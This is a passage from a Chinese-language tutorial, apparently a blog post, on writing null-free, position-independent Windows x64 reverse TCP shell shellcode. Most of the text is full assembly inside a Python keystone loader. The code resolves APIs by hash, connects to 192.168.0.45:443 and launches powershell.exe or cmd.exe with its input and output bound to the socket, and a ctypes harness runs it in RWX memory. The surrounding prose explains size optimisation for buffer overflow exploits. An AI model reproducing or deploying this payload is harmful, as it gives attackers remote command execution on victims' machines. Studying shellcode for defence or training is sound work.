"   add edx, eax;"     # 哈希算法部分
"   jmp iteration;"     # 下一个字节

"compare_hash:"    # 比较哈希
"   cmp edx, r8d;" 
"   jnz search_function;"     # 如果不等,搜索前一个函数 (索引由大变小)
"   mov r10d, [r15 + 0x24];"     # 序数表RVA
"   add r10, r9;"     # 序数表VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"     # 函数序数值 -1
"   mov r11d, [r15 + 0x1c];"     # EAT的RVA
"   add r11, r9;"     # EAT的VNA
"   mov eax, [r11 + 4*rcx];"     # RAX保存函数RVA
"   add rax, r9;"     # RAX保存着函数VMA
"   ret;" 
"not_found:"
"   ret;" 


"load_module:"
"    xor rax, rax;"
"    mov ax, 0x6c6c;"       # 将字符串 "ll" 保存至RAX
"    push rax;"       # 字符串入栈
"    mov rax, 0x642E32335F325357;"       # 将字符串"WS2_32.D"保存至RAX
"    push rax;"      # 字符串入栈
"    mov rcx, rsp;"    # RCX指向"ws2_32.dll\0"字符串
"    sub rsp, 0x20;"      # 函数序言
"    mov rax, r12;"     # RAX为LoadLibraryA地址
"    call rax;"      # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"        # 函数尾声
"    add rsp, 0x10;"        # 清理 "ws2_32.dll"字符串所占用的栈空间
"    mov r14, rax;"      # R14保存了ws2_32.dll的基址

"call_wsastartup:"
"    mov r9, rax;"     # R9保存了ws2_32.dll的基址
"    mov r8d, 0x3bfcedcb;"     # WSAStartup的哈希
"    mov rbx, r9;"     # 将ws2_32.dll的基址保存至RBX以备用
"    call parse_module;"     # 搜索并获得WSAStartup的函数地址
"    xor rcx, rcx;" 
"    mov cx, 0x198;"   
"    sub rsp, rcx;"     # 预留足够空间给lpWSDATA结构体"    
"    lea rdx, [rsp];"     # 将lpWSAData地址赋予RDX寄存器作为第2个参数
"    xor rcx, rcx;"
"    xor r13, r13;"
"    mov cx, 0x1313;"
"    mov r13w, 0x1111;"
"    sub rcx, r13;"     # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数 
"    sub rsp, 0x28;"     # 函数序言
"    call rax;"     # 调用WSAStartup
"    add rsp, 0x28;"     # 函数尾声

"call_wsasocket:"
"    mov r9, rbx;"  
"    mov r8d, 0xadf509d9;"     # WSASocketA函数哈希
"    call parse_module;"     # 获得WSASocketA函数地址
"    sub rsp, 0x38;"     # 函数序言
"    xor rcx, rcx;"
"    mov cl, 2;"    # 最终等效于 mov rcx,2;    # af为2作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 1;"    # type为1作为第2个参数
"    xor r8, r8;"
"    mov r8b, 6;"    # protocol为6作为第3个参数
"    xor r9, r9;"     # lpProtocolInfo为0作为第4个参数
"    mov [rsp+0x20], r9;"     # g为0作为第5个参数,保存在栈上
"    mov [rsp+0x28], r9;"     # dwFlags为0作为第6个参数,保存在栈上
"    call rax;"     # 调用 WSASocketA函数
"    mov r12, rax;"     # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
"    add rsp, 0x38;"     # 函数尾声

"call_wsaconnect:"
"    mov r9, rbx;" 
"    mov r8d, 0xb32dba0c;"     # WSAConnect哈希
"    call parse_module;"     # 获得WSAConnect地址
"    sub rsp, 0x20;"     # 为socketaddr结构体分配足够空间 (>=0x18字节)
"    mov rcx, r12;"     # 将WSASocketA返回的描述符传递给RCX作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 2;"     # sin_family成员设置为AF_INET,即2
"    mov [rsp], rdx;"     # 存储socketaddr结构体
"    xor rdx, rdx;"
"    mov dx, 0xbb01;"      # 端口设置为443
"    mov [rsp+2], rdx;"     # 将端口值传递给socketaddr结构体中的对应位置
"    mov edx, 0x3d10b8d0;"
"    sub edx, 0x10101010;"     # 设置IP为192.168.0.45
"    mov [rsp+4], rdx;"     # 将IP传递给sockaddr结构体中的对应位置
"    lea rdx, [rsp];"     # 指向socketaddr结构体的指针作为第2个参数
"    xor r8, r8;"
"    mov r8b, 0x16;"     # 设置namelen成员为0x16
"    xor r9, r9;"     # lpCallerData为0作为第4个参数
"    sub rsp, 0x38;"     # 函数序言
"    mov [rsp+0x20], r9;"     # lpCalleeData为0作为第5个参数
"    mov [rsp+0x28], r9;"     # lpSQOS为0作为第6个参数
"    mov [rsp+0x30], r9;"     # lpGQOS为0作为第7个参数
"    call rax;"     # 调用WSAConnect
"    add rsp, 0x38;"     # 函数尾声

"call_createprocess:"
"    mov r9, rbp;"     # R9为Kernel32.dll基址
"    mov r8d, 0x16b3fe72;"     # CreateProcessA哈希
"    call parse_module;"     # 获取CreateProcessA地址
"    mov rdx, 0x10107588753e7c7c;"
"    mov r13, 0x1010101010101010;"
"    sub rdx, r13;"     # 字符串"exe.ll"
"    push rdx;" 
"    mov rdx, 0x6568737265776f70;"     # 字符串"ehsrewop"
"    push rdx;"     # "powershell.exe"字符串入栈
"    mov rcx, rsp;"     # 指向"powershell.exe"的指针保存在RCX寄存器中
"    push r12;"     # 成员STDERROR值为WSASocketA返回值
"    push r12;"     # 成员STDOUTPUT值为WSASocketA返回值
"    push r12;"     # 成员STDINPUT值为WSASocketA返回值
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
"    push rdx;" 
"    push rdx;" 
"    mov dl, 0xff;"
"    inc dx;" 
"    push dx;"      # 成员dwFlags值为0x100   
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可  
"    push dx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    mov dl, 0x68;" 
"    push rdx;"     # 成员cb值为0x68
"    mov rdi, rsp;"     # 获得STARTINFOA结构体的指针
"    mov rdx, rsp;" 
"    sub rdx, 0x20;"     # 为ProcessInformation结构体预留足够空间
"    push rdx;"     # ProcessInformation结构体的地址作为第10个参数
"    push rdi;"     # STARTINFOA结构体的地址作为第9个参数
"    xor rdx, rdx;" 
"    push rdx;"     # lpCurrentDirectory值为0作为第8个参数
"    push rdx;"     # lpEnvironment值为0作为第7个参数
"    push rdx;"     # dwCreationFlags值为0作为第6个参数
"    inc rdx;" 
"    push rdx;"     # bInheritHandles值为1作为第5个参数
"    xor rdx, rdx;" 
"    push rdx;"     # 为函数归位区域(第4个参数)预留空间
"    push rdx;"     # 为函数归位区域(第3个参数)预留空间
"    push rdx;"     # 为函数归位区域(第2个参数)预留空间
"    push rdx;"     # 为函数归位区域(第1个参数)预留空间
"    mov rdx, rcx;"     # lpCommandLine值为"powershell.exe"字符串指针作为第2个参数
"    xor rcx, rcx;"     # 因为lpCommandLine已经赋值,lpApplicationName可为空
"    mov r8, rcx;"     # lpProcessAttributes值为0作为第3个参数
"    mov r9, rcx;"     # lpThreatAttributes值为0作为第4个参数
"    call rax;"  
)



ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))


image.png

现在,只有 start 区域调用函数的几个指令依旧包含 0x00,其他指令包含的 0x00 已经清除。


PIC 代码

之所以 start 区域中调用函数的指令包含 0x00 字节,因为对函数的直接调用,可能是通过相对偏移定位到函数入口,或者通过绝对地址来定位函数,例如函数地址被保存在寄存器中。如果是通过相对偏移定位函数的地址,我们可以将函数代码部分放在上方区域,在下方区域调用函数,这样偏移值是负数,可有效避免 0x00 字节。在运行时通过函数的绝对地址调用函数可以让代码实现位置独立且不包含 0x00 字节。

那么,我们将开头的这些函数调用进行拆分。

"start:"
"   sub rsp, 0x20;"       # 函数序言
"   call find_kernel32;" 
"   add rsp, 0x20;"     # 函数尾声
"   mov rbp, rax;"     # RBP保存Kernel32.dll基址
"   mov r8d, 0xec0e4e8e;"     # LoadLibraryA哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索 LoadLibraryA函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r12, rax;" 
"   mov r8d, 0x7c0dfcaa;"     # GetProcAddress哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索GetProcAddress函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r13, rax;" 
"   call load_module;"

让 Shellcode 从一开始就寻找 Kernel32.dll 的地址,找到的话跳转到 jump_proxy 区域:


CODE = (

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址
............
"jump_proxy:"
"   jmp jump_section;"

跳转到 jump_proxy 区域后,立即跳转到 jump_section 区域。之所以这么做,如果跳转距离过长,指令也可能包含 0x00 字节,因此我们以 jump_proxy 区域作为中转。jump_section 代码如下,负责集中调用函数

............
" jump_section:"
"   mov rbp, r9;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   sub rsp, 0x30;"
"   call parse_module;"    # Search LoadLibraryA's address   
"   add rsp, 0x30;"
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   sub rsp, 0x30;"
"   call parse_module;"    # Search GetProcAddress' address
"   add rsp, 0x30;"
"   mov r13, rax;"    # R13 = GetProcAddress Address

整理一下,最终代码如下。需要注意的是,因为这些改动,可能会导致栈不是对齐状态,因此如果在调用函数前发现栈未对齐 (RSP并非以 0 结尾),那么我们手动对齐。以我们之前的代码为例,需要在调用 CreateProcessA 之前手动对齐栈。

import ctypes, struct
from keystone import *



CODE = (

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址

"next_module:"
"   mov r9, [rsi + 0x20];"      # R9 此时保存着当前模块的基址
"   mov rdi, [rsi + 0x50];"     # RDI 保存着DllBaseName中的Buffer地址,即模块名称字符串的地址
"   mov rsi, [rsi];"     # 获得下一个条目的地址
"   add rdi, 2;"     # 跳过K字符

"check_upper:"    # 如果"ERNEL32."是大写
"  mov r12, 0x1055105E10621055;"    # Unicode字符串 "ENRE"加上0x1010101010101010
"  mov rax, 0x1010101010101010;"    
"  sub r12, rax;" 
"  mov r13, 0x103e10421043105c;"    # Unicode字符串 ".23L"加上0x1010101010101010
"  mov rax, 0x1010101010101010;"    
"  sub r13, rax;" 
"  mov rdx, qword ptr [rdi];"    # 将字符串 "ERNEL32.DLL" 复制到RDX
"  cmp rdx, r12;"    # 将前4个字符与"ENRE"比较
"  jne check_lower;"    # 如果不相等,可能模块名为小写
"  mov rdx, qword ptr [rdi + 8];"    # 如果相等,继续比较,将".23L"复制到RDX
"  cmp rdx, r13;"    # 将后4个字符与".23L"比较
"  jne next_module;"    # 如果不相等,移动到下一个条目
"  jmp jump_proxy;"

"check_lower:"    # 如果"ernel32."是小写
"  mov r12, 0x1075107E10821075;"    # Unicode字符串 "enre"加上0x10101010
"  mov rax, 0x1010101010101010;"   
"  sub r12, rax;" 
"  mov r13, 0x103e10421043107c;"    # Unicode字符串 ".23l"加上0x10101010
"  mov rax, 0x1010101010101010;"    
"  sub r13, rax;" 
"  mov rdx, qword ptr [rdi];"  
"  cmp rdx, r12;"   
"  jne next_module;"    # 如果不相等,不会是大小写原因,直接进入下个条目
"  mov rdx, qword ptr [rdi + 8];"  
"  cmp rdx, r13;"
"  jne next_module;"


"jump_proxy:"
"   jmp jump_section;"

"parse_module:"    # 解析内存中的DLL文件
"   mov ecx, dword ptr [r9 + 0x3c];"     # R9保存着模块的基址,获取NT头偏移
"   xor r15, r15;"  
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"      # 获取导出目录的RVA
"   add r15, r9;"     # R14保存着导出目录的VMA
"   mov ecx, dword ptr [r15 + 0x18];"     # ecx保存着函数名称的数量,作为索引值
"   mov r14d, dword ptr [r15 + 0x20];"     # 获得ENPT的RVA
"   add r14, r9;"     # R14 保存着ENPT的VMA

"search_function:"    # 搜索给定函数
"   jrcxz not_found;"     # 如果RCX为0,那么没找到给定函数
"   dec ecx;"     # 索引减少1
"   xor rsi, rsi;" 
"   mov esi, [r14 + rcx*4];"     # 函数名称字符串的RVA
"   add rsi, r9;"     # RSI 指向函数名称字符串

"function_hashing:"    # 哈希函数名函数
"   xor rax, rax;"  
"   xor rdx, rdx;" 
"   cld;"     # 清除DF标志位

"iteration:"    # 迭代每个字节
"   lodsb;"     # RSI的下一个字节拷贝给Al
"   test al, al;"     # 如果到达字符串末尾
"   jz compare_hash;"     # 比较哈希
"   ror edx, 0x0d;"     # 哈希算法部分
"   add edx, eax;"     # 哈希算法部分
"   jmp iteration;"     # 下一个字节

"compare_hash:"    # 比较哈希
"   cmp edx, r8d;" 
"   jnz search_function;"     # 如果不等,搜索前一个函数 (索引由大变小)
"   mov r10d, [r15 + 0x24];"     # 序数表RVA
"   add r10, r9;"     # 序数表VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"     # 函数序数值 -1
"   mov r11d, [r15 + 0x1c];"     # EAT的RVA
"   add r11, r9;"     # EAT的VNA
"   mov eax, [r11 + 4*rcx];"     # RAX保存函数RVA
"   add rax, r9;"     # RAX保存着函数VMA
"   ret;" 
"not_found:"
"   ret;" 


" jump_section:"
"   mov rbp, r9;"    # RBP为Kernel32.dll基址
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA哈希
"   sub rsp, 0x20;"
"   call parse_module;"    # 获得LoadLibraryA地址  
"   add rsp, 0x20;"
"   mov r12, rax;"    # R12为LoadLibraryA地址
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress哈希
"   sub rsp, 0x20;"
"   call parse_module;"    # 获得GetProcAddress地址address
"   add rsp, 0x20;"
"   mov r13, rax;"    # R13为GetProcAddress地址


"load_module:"
"    xor rax, rax;"
"    mov ax, 0x6c6c;"       # 将字符串 "ll" 保存至RAX
"    push rax;"       # 字符串入栈
"    mov rax, 0x642E32335F325357;"       # 将字符串"WS2_32.D"保存至RAX
"    push rax;"      # 字符串入栈
"    mov rcx, rsp;"    # RCX指向"ws2_32.dll\0"字符串
"    sub rsp, 0x20;"      # 函数序言
"    mov rax, r12;"     # RAX为LoadLibraryA地址
"    call rax;"      # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"        # 函数尾声
"    add rsp, 0x10;"        # 清理 "ws2_32.dll"字符串所占用的栈空间
"    mov r14, rax;"      # R14保存了ws2_32.dll的基址

"call_wsastartup:"
"    mov r9, rax;"     # R9保存了ws2_32.dll的基址
"    mov r8d, 0x3bfcedcb;"     # WSAStartup的哈希
"    mov rbx, r9;"     # 将ws2_32.dll的基址保存至RBX以备用
"    call parse_module;"     # 搜索并获得WSAStartup的函数地址
"    xor rcx, rcx;" 
"    mov cx, 0x198;"   
"    sub rsp, rcx;"     # 预留足够空间给lpWSDATA结构体"    
"    lea rdx, [rsp];"     # 将lpWSAData地址赋予RDX寄存器作为第2个参数
"    xor rcx, rcx;"
"    xor r13, r13;"
"    mov cx, 0x1313;"
"    mov r13w, 0x1111;"
"    sub rcx, r13;"     # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数 
"    sub rsp, 0x30;"     # 函数序言
"    call rax;"     # 调用WSAStartup
"    add rsp, 0x30;"     # 函数尾声

"call_wsasocket:"
"    mov r9, rbx;"  
"    mov r8d, 0xadf509d9;"     # WSASocketA函数哈希
"    call parse_module;"     # 获得WSASocketA函数地址
"    sub rsp, 0x30;"     # 函数序言
"    xor rcx, rcx;"
"    mov cl, 2;"    # 最终等效于 mov rcx,2;    # af为2作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 1;"    # type为1作为第2个参数
"    xor r8, r8;"
"    mov r8b, 6;"    # protocol为6作为第3个参数
"    xor r9, r9;"     # lpProtocolInfo为0作为第4个参数
"    mov [rsp+0x20], r9;"     # g为0作为第5个参数,保存在栈上
"    mov [rsp+0x28], r9;"     # dwFlags为0作为第6个参数,保存在栈上
"    call rax;"     # 调用 WSASocketA函数
"    mov r12, rax;"     # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
"    add rsp, 0x30;"     # 函数尾声

"call_wsaconnect:"
"    mov r9, rbx;" 
"    mov r8d, 0xb32dba0c;"     # WSAConnect哈希
"    call parse_module;"     # 获得WSAConnect地址
"    sub rsp, 0x20;"     # 为socketaddr结构体分配足够空间 (>=0x18字节)
"    mov rcx, r12;"     # 将WSASocketA返回的描述符传递给RCX作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 2;"     # sin_family成员设置为AF_INET,即2
"    mov [rsp], rdx;"     # 存储socketaddr结构体
"    xor rdx, rdx;"
"    mov dx, 0xbb01;"      # 端口设置为443
"    mov [rsp+2], rdx;"     # 将端口值传递给socketaddr结构体中的对应位置
"    mov edx, 0x3d10b8d0;"
"    sub edx, 0x10101010;"     # 设置IP为192.168.0.45
"    mov [rsp+4], rdx;"     # 将IP传递给sockaddr结构体中的对应位置
"    lea rdx, [rsp];"     # 指向socketaddr结构体的指针作为第2个参数
"    xor r8, r8;"
"    mov r8b, 0x16;"     # 设置namelen成员为0x16
"    xor r9, r9;"     # lpCallerData为0作为第4个参数
"    sub rsp, 0x38;"     # 函数序言
"    mov [rsp+0x20], r9;"     # lpCalleeData为0作为第5个参数
"    mov [rsp+0x28], r9;"     # lpSQOS为0作为第6个参数
"    mov [rsp+0x30], r9;"     # lpGQOS为0作为第7个参数
"    call rax;"     # 调用WSAConnect
"    add rsp, 0x38;"     # 函数尾声

"call_createprocess:"
"    mov r9, rbp;"     # R9为Kernel32.dll基址
"    mov r8d, 0x16b3fe72;"     # CreateProcessA哈希
"    call parse_module;"     # 获取CreateProcessA地址
"    sub rsp, 8;"    # 栈对齐
"    mov rdx, 0x10107588753e7c7c;"
"    mov r13, 0x1010101010101010;"
"    sub rdx, r13;"     # 字符串"exe.ll"
"    push rdx;" 
"    mov rdx, 0x6568737265776f70;"     # 字符串"ehsrewop"
"    push rdx;"     # "powershell.exe"字符串入栈
"    mov rcx, rsp;"     # 指向"powershell.exe"的指针保存在RCX寄存器中
"    push r12;"     # 成员STDERROR值为WSASocketA返回值
"    push r12;"     # 成员STDOUTPUT值为WSASocketA返回值
"    push r12;"     # 成员STDINPUT值为WSASocketA返回值
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
"    push rdx;" 
"    push rdx;" 
"    mov dl, 0xff;"
"    inc dx;" 
"    push dx;"      # 成员dwFlags值为0x100   
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可  
"    push dx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    mov dl, 0x68;" 
"    push rdx;"     # 成员cb值为0x68
"    mov rdi, rsp;"     # 获得STARTINFOA结构体的指针
"    mov rdx, rsp;" 
"    sub rdx, 0x20;"     # 为ProcessInformation结构体预留足够空间
"    push rdx;"     # ProcessInformation结构体的地址作为第10个参数
"    push rdi;"     # STARTINFOA结构体的地址作为第9个参数
"    xor rdx, rdx;" 
"    push rdx;"     # lpCurrentDirectory值为0作为第8个参数
"    push rdx;"     # lpEnvironment值为0作为第7个参数
"    push rdx;"     # dwCreationFlags值为0作为第6个参数
"    inc rdx;" 
"    push rdx;"     # bInheritHandles值为1作为第5个参数
"    xor rdx, rdx;" 
"    push rdx;"     # 为函数归位区域(第4个参数)预留空间
"    push rdx;"     # 为函数归位区域(第3个参数)预留空间
"    push rdx;"     # 为函数归位区域(第2个参数)预留空间
"    push rdx;"     # 为函数归位区域(第1个参数)预留空间
"    mov rdx, rcx;"     # lpCommandLine值为"powershell.exe"字符串指针作为第2个参数
"    xor rcx, rcx;"     # 因为lpCommandLine已经赋值,lpApplicationName可为空
"    mov r8, rcx;"     # lpProcessAttributes值为0作为第3个参数
"    mov r9, rcx;"     # lpThreatAttributes值为0作为第4个参数
"    call rax;"  
)



ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

这样,Shellcode 就完全不包含 0x00 字节了,而且 Shellcode 是位置独立的。

image.png

但是目前的话,字节数稍微有些多,在特定的利用场合,尤其是缓冲区溢出的漏洞利用,容纳 Shellcode 的空间可能是有限的,因此我们接下来尽可能对字节数进行优化。


减少字节数

优化字节数可以从多方面做起,例如有的单条汇编指令可以完成多条指令的工作,善用寄存器的低位操作。但在我们先前的代码中,寻找 Kernel32.dll 的部分占用了很多的代码,而这里就有一个很大的优化空间。

改善寻找 Kernel32.dll 的方法

Msfvenom 生成的去除了 0x00 字节的 TCP 逆向 Shell为 503 字节,目前我们与之差距 200 字节。

image.png

其实一般来说,InMemoryOrderLoadList 中模块的顺序为程序自身 -> ntdll.dll -> kernel32.dll。如果使用 WinDBG 调试先前的 Shellcode,我们会发现该规律是适用的:python.exe -> ntdll.dll -> kernel32.dll,请自己验证试试。

那么,我们原本冗长的寻找 Kernel32.dll 的代码可以优化为以下几行:

" locate_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  
"   mov rsi, [rax + 0x18];"    
"   mov rsi, [rsi + 0x20];"   
"   mov r9, [rsi];"    # 当前为python.exe
"   mov r9, [r9];"    # 当前为ntdll.dll
"   mov r9, [r9+0x20];"    # 当前为kernel32.dll
"   jmp jump_section;"    

这样修改后,最终优化后的代码如下:

现在不仅没有 0x00 字符,而且仅有 562 字节,十分接近 Msfvenom 生成的了。

image.png


移除不影响运行的函数序言与尾声

jump_section 区域,出于规范,我们在每次函数调用前后都设置了函数序言函数尾声。在我们这个特定上下文中,并不是必须的,至少不会影响到 Shellcode 的正常执行,尽管这是一个良好规范。此外,尽管我们获得了 GetProcAddress 的地址,但因为我们是通过函数哈希获得函数地址的,因此并没有派上用场。所以,精简后的 jump_section 区域如下:

" jump_section:"
"   mov rbp, r9;"    # RBP为Kernel32.dll基址
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA哈希
"   call parse_module;"    # 获得LoadLibraryA地址  
"   mov r12, rax;"    # R12为LoadLibraryA地址

最终,我们将 Shellcode 尺寸压缩到了 532 字节,并且依旧正常运行。

image.png


去除冗余指令

在完成初始完整 Shellcode 的过程中,因为我们首要目标是实现功能,因此代码可能包含冗余的。例如在调用 CreateProcessA 函数部分,我们让 RDX 一开始就指向 "powershell.exe" 字符串,后面则用 RCX 作为多次入栈的寄存器。此外,相比让 "exe.dll" 字符串加上 0x1010101010101010 避免 0x00 字节,我们可以善用 NOT 指令:

" mov rdx, 0xffff9a879ad19393;"  # NOT "exe.ll"
" not rdx;"

优化后的如下:

"call_createprocess:"
"    mov r9, rbp;"     # R9为Kernel32.dll基址
"    mov r8d, 0x16b3fe72;"     # CreateProcessA哈希
"    call parse_module;"     # 获取CreateProcessA地址
"    sub rsp, 8;"
"    mov rdx, 0xffff9a879ad19393;"  # NOT "exe.ll"
"    not rdx;"
"    push rdx;" 
"    mov rdx, 0x6568737265776f70;"     # 字符串"ehsrewop"
"    push rdx;"     # "powershell.exe"字符串入栈
"    mov rdx, rsp;"     # 指向"powershell.exe"的指针保存在RCX寄存器中
"    push r12;"     # 成员STDERROR值为WSASocketA返回值
"    push r12;"     # 成员STDOUTPUT值为WSASocketA返回值
"    push r12;"     # 成员STDINPUT值为WSASocketA返回值
"    xor rcx, rcx;" 
"    push cx;"     # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
"    push rcx;" 
"    push rcx;" 
"    mov cl, 0xff;"
"    inc cx;" 
"    push cx;"      # 成员dwFlags值为0x100   
"    xor rcx, rcx;" 
"    push cx;"     # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可  
"    push cx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    mov cl, 0x68;" 
"    push rcx;"     # 成员cb值为0x68
"    mov rdi, rsp;"     # 获得STARTINFOA结构体的指针
"    mov rcx, rsp;" 
"    sub rcx, 0x20;"     # 为ProcessInformation结构体预留足够空间
"    push rcx;"     # ProcessInformation结构体的地址作为第10个参数
"    push rdi;"     # STARTINFOA结构体的地址作为第9个参数
"    xor rcx, rcx;" 
"    push rcx;"     # lpCurrentDirectory值为0作为第8个参数
"    push rcx;"     # lpEnvironment值为0作为第7个参数
"    push rcx;"     # dwCreationFlags值为0作为第6个参数
"    inc rcx;" 
"    push rcx;"     # bInheritHandles值为1作为第5个参数
"    dec cl;" 
"    push rcx;"     # 为函数归位区域(第4个参数)预留空间
"    push rcx;"     # 为函数归位区域(第3个参数)预留空间
"    push rcx;"     # 为函数归位区域(第2个参数)预留空间
"    push rcx;"     # 为函数归位区域(第1个参数)预留空间
"    mov r8, rcx;"     # lpProcessAttributes值为0作为第3个参数
"    mov r9, rcx;"     # lpThreatAttributes值为0作为第4个参数
"    call rax;" 

现在只有 507 字节了,已经不错了。

image.png

如果偏执地追求更短的 Shellcode,我们发现 Msfvenom 生成的 Shellcode 是 cmd 会话的,而字符串 "cmd.exe""powershell.exe" 更短。而且在 cmd.exe 会话中,我们其实可以切换到 PowerShell 的。因此,我们可以将 "powershell.exe" 替换为 "cmd.exe":

"    mov rdx, 0xff9a879ad19b929c;"
"    not rdx;"
"    push rdx;"   

最终代码如下:

import ctypes, struct
from keystone import *



CODE = (

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址
"   mov r9, [rsi];"    # 当前为python.exe
"   mov r9, [r9];"    # 当前为ntdll.dll
"   mov r9, [r9+0x20];"    # 当前为kernel32.dll
"   jmp jump_section;"   

"parse_module:"    # 解析内存中的DLL文件
"   mov ecx, dword ptr [r9 + 0x3c];"     # R9保存着模块的基址,获取NT头偏移
"   xor r15, r15;"  
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"      # 获取导出目录的RVA
"   add r15, r9;"     # R14保存着导出目录的VMA
"   mov ecx, dword ptr [r15 + 0x18];"     # ecx保存着函数名称的数量,作为索引值
"   mov r14d, dword ptr [r15 + 0x20];"     # 获得ENPT的RVA
"   add r14, r9;"     # R14 保存着ENPT的VMA

"search_function:"    # 搜索给定函数
"   jrcxz not_found;"     # 如果RCX为0,那么没找到给定函数
"   dec ecx;"     # 索引减少1
"   xor rsi, rsi;" 
"   mov esi, [r14 + rcx*4];"     # 函数名称字符串的RVA
"   add rsi, r9;"     # RSI 指向函数名称字符串

"function_hashing:"    # 哈希函数名函数
"   xor rax, rax;"  
"   xor rdx, rdx;" 
"   cld;"     # 清除DF标志位

"iteration:"    # 迭代每个字节
"   lodsb;"     # RSI的下一个字节拷贝给Al
"   test al, al;"     # 如果到达字符串末尾
"   jz compare_hash;"     # 比较哈希
"   ror edx, 0x0d;"     # 哈希算法部分
"   add edx, eax;"     # 哈希算法部分
